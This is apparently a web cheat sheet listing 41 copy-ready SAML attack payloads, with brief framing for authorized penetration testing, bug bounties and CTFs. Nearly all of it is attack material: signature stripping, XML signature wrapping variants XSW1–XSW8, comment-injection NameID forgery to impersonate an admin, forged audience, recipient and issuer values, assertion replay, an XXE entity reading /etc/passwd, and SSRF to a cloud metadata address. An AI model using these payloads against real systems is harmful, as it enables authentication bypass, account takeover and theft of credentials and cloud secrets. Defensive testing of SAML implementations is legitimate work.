SAML authentication attack techniques covering XML signature wrapping (XSW), comment-injection canonicalization bugs, signature stripping, assertion tampering, IdP confusion, and recipient/audience validation flaws. (41 payloads)
SAMLResponse=PHNhbWxwOlJlc3BvbnNl... (base64 in POST body)echo 'SAMLResponse_value' | base64 -d | xmllint --format -python3 -c "import sys,base64,zlib,urllib.parse as u;print(zlib.decompress(base64.b64decode(u.unquote(sys.argv[1])),-15).decode())" '$SAMLRequest'https://sp.example.com/saml/metadata • https://idp.example.com/metadata<ds:X509Certificate> ... </ds:X509Certificate>Look for: <saml:Issuer>, Destination=, <saml:Audience>, Recipient=, NotOnOrAfter, InResponseToCompare HTTP-Redirect vs HTTP-POST handling of the same ResponseRemove the entire <ds:Signature> element from the Response, replay itSign only the <Response>, leave <Assertion> unsigned (or vice versa)Strip Signature from Assertion but keep Response signature, then mutate assertion<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>Set SignatureMethod to HMAC (xmldsig#hmac-sha1) instead of RSAEmpty <ds:SignatureValue></ds:SignatureValue> with a malformed Reference URIXSW1: clone signed Response, inject forged copy as sibling; original keeps the SignatureXSW2: same as XSW1 but with a detached signature (not enveloped) on the ResponseXSW3: insert forged Assertion as a sibling BEFORE the original signed AssertionXSW4: forged Assertion as sibling, but original signed Assertion nested INSIDE the forged oneXSW5: copy the Signature out; change the value of the originally-signed AssertionXSW6: original signed Assertion goes inside the copied Signature elementXSW7: add an <Extensions> element with the forged Assertion (same wsu:Id)XSW8: place the original signed Assertion inside an <Object> child of the Signature<saml:NameID>admin<!---->@victim.com</saml:NameID><saml:NameID>attacker@evil.com<!-- -->admin@victim.com</saml:NameID>user@target.com extra → embed NUL/whitespace in NameIDAdd a comment node anywhere inside a signed element and re-test login<saml:NameID> admin@victim.com </saml:NameID> (leading/trailing whitespace)Mixed-content: <saml:NameID>vic<x/>tim</saml:NameID><saml:NameID>victim@target.com</saml:NameID> (after stripping/wrapping the signature)<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute><saml:Conditions NotBefore="2000-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"><saml:Audience>https://attacker-sp.example.com</saml:Audience>Recipient="https://attacker.com/acs" in SubjectConfirmationDataRemove <saml:Conditions> entirelyDuplicate <saml:Attribute Name="email"> with two values; keep one signed<saml:Issuer>https://attacker-idp.example.com</saml:Issuer>Self-sign a forged assertion, submit your X509Certificate in <ds:KeyInfo>Replay a previously-captured valid SAMLResponse to the ACSForge or omit InResponseTo to match an attacker-initiated AuthnRequest<?xml version="1.0"?><!DOCTYPE samlp:Response [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>...&xxe;...Point SP-initiated metadata/SLO URL fetch at http://169.254.169.254/latest/meta-data/Re-use a SAML assertion against a different SP that trusts the same IdPLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 41 SAML Attacks payloads for testing SAML Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the SAML Security Analyzer to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all SAML Attacks payloads are completely free, with no account required. Everything runs in your browser.